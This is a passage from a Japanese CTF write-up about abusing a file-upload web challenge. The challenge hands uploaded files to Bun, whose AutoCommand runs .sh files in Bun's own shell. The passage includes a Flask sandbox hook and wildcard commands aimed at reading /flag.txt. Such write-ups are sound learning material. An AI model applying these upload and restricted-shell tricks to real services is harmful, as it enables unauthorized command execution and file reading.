また、このファイルパスは secure_filename(file.filename or "") と、ある程度元のファイル名を残す形で作られていた。これをなにかに利用できないだろうか。

まず、ファイル名からオプションを仕込むことができないかと考えた。secure_filename の実装を見に行くと、これは [^A-Za-z0-9_.-] を潰していることがわかるわけだけれども、つまりハイフンは残る。

しかしながら、ファイルパスは filepath = os.path.join(session["user_dir"], filename) のように、サンドボックスのディレクトリのパスから始まるよう構築されているし、session["user_dir"] は空にできない上にコントロールができない。この方針はダメそうだ。

@app.before_request
def hook():
    if "user_dir" not in session:
        session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16))
    os.makedirs(session["user_dir"], exist_ok=True)

サブコマンドを指定していない場合に何が起こるか追っていく。Bunのコードを読んでいると、まずサブコマンドを指定していなければ AutoCommand なるコマンドが実行されるとわかる。この場合に何が実行されるかを参照する。じっくり見ていくと、コマンドライン引数として渡されたファイルの拡張子を見ている様子がわかる。.lockb.sh といった拡張子が見える。

.sh ならば何が起こるのだろう。適当に試してみると、次のようにシェルスクリプトを実行できたように見える。おいおいおいおい。

$ cat a.sh
echo 123
$ bun a.sh
123

制限付きのシェルスクリプト実行というと、以前HITCON CTF Qualsで出題された問題を思い出すけれども、残念ながらカレントディレクトリにファイルを書き込む権限がないので同じ戦法は使えない。

色々試していると、シェルスクリプトとしては少し変な挙動をしていることに気づく。たとえば、/usr/bin/ca? flag.tx? のようにクエスチョンマークを入れても、ワイルドカードとしては機能してくれず、"command not found" と怒られてしまう。どういうことかと "bun shell" のようなクエリでググっていると、どうやら独自のシェルっぽいとわかってきた。

面倒だなあと思いつつ、いい感じに * のワイルドカードを使って、5種類の文字だけを使って /flag.txt を出力させられないかと色々試していた。


悩んでいると、taskさんが strings で決めてくれた。なるほどなあ。

*1:元々はIERAE DAYS 2023というカンファレンスで余興として出題されていたらしい。ただ、私はWebの2問を解くのに3時間弱かかり、とても片手間に遊べる問題とは思えなかった

*2:我々は事前に片付けていた!!!!

*3:私はウェーブキャットが好きです

*4:なお、カッコを\x28や\x29のようにエスケープしているけれども、これはカッコをコマンド名の一部とさせるためだ